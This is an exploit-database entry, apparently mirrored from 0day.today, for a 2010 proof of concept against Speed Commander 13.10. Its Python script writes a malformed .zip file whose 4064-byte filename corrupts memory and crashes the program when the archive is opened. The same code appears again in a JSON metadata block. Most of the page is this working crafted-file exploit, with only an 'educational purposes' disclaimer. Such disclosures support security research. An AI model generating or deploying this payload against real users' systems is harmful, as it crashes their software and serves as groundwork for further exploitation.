Search...

Speed Commander 13.10 (.zip) Memory Corruption

2010-04-20T00:00:00

ID 1337DAY-ID-11908
Type zdt
Reporter TecR0c
Modified 2010-04-20T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            ==============================================
Speed Commander 13.10 (.zip) Memory Corruption
==============================================

#!/usr/bin/python
# #######################################################################
# Title:                Speed Commander 13.10 (.zip) Memory Corruption
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by:             TecR0c
# Download:             http://www.sp-download.de/sc13/sc13.exe
# Platform:             Windows XP sp3 En
# Advisory:             http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
 
# Trigger : Open the application, Browse to the zip file &gt; double click = BOOM!
 
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              [email protected] |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] SpeedCommander (.zip)  - by TecR0c"
 
 
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
 
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
 
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
 
buff = "\x41" * 4064
buff += ".txt"
 
mefile = open('SpeedCommander.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()



#  0day.today [2018-02-18]  #

JSON Vulners Source

Initial Source

{"published": "2010-04-20T00:00:00", "id": "1337DAY-ID-11908", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for windows platform in category dos / poc", "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2018-02-18T19:22:49", "rev": 2}, "dependencies": {"references": [], "modified": "2018-02-18T19:22:49", "rev": 2}, "vulnersScore": -0.3}, "type": "zdt", "lastseen": "2018-02-18T19:22:49", "edition": 2, "title": "Speed Commander 13.10 (.zip) Memory Corruption", "href": "https://0day.today/exploit/description/11908", "modified": "2010-04-20T00:00:00", "bulletinFamily": "exploit", "viewCount": 3, "cvelist": [], "sourceHref": "https://0day.today/exploit/11908", "references": [], "reporter": "TecR0c", "sourceData": "==============================================\r\nSpeed Commander 13.10 (.zip) Memory Corruption\r\n==============================================\r\n\r\n#!/usr/bin/python\r\n# #######################################################################\r\n# Title: Speed Commander 13.10 (.zip) Memory Corruption\r\n# Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c\r\n# Found by: TecR0c\r\n# Download: http://www.sp-download.de/sc13/sc13.exe\r\n# Platform: Windows XP sp3 En\r\n# Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028\r\n# Greetz to: Corelan Security Team\r\n# http://www.corelan.be:8800/index.php/security/corelan-team-members/\r\n# #######################################################################\r\n# Script provided 'as is', without any warranty.\r\n# Use for educational purposes only.\r\n# Do not use this code to do anything illegal !\r\n#\r\n# Note : you are not allowed to edit/modify this code.\r\n# If you do, Corelan cannot be held responsible for any damages this may cause.\r\n \r\n# Trigger : Open the application, Browse to the zip file > double click = BOOM!\r\n \r\nprint \"|------------------------------------------------------------------|\"\r\nprint \"| __ __ |\"\r\nprint \"| _________ ________ / /___ _____ / /____ ____ _____ ___ |\"\r\nprint \"| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\"\r\nprint \"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\"\r\nprint \"| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\"\r\nprint \"| |\"\r\nprint \"| http://www.corelan.be:8800 |\"\r\nprint \"| [email\u00a0protected] |\"\r\nprint \"| |\"\r\nprint \"|-------------------------------------------------[ EIP Hunters ]--|\"\r\nprint \"[+] SpeedCommander (.zip) - by TecR0c\"\r\n \r\n \r\nldf_header = (\"\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\")\r\n \r\ncdf_header = (\"\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\r\n\"\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\r\n \r\neofcdf_header = (\"\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\"\r\n\"\\x12\\x10\\x00\\x00\"\r\n\"\\x02\\x10\\x00\\x00\"\r\n\"\\x00\\x00\")\r\n \r\nbuff = \"\\x41\" * 4064\r\nbuff += \".txt\"\r\n \r\nmefile = open('SpeedCommander.zip','w');\r\nmefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);\r\nmefile.close()\r\n\r\n\n\n# 0day.today [2018-02-18] #"}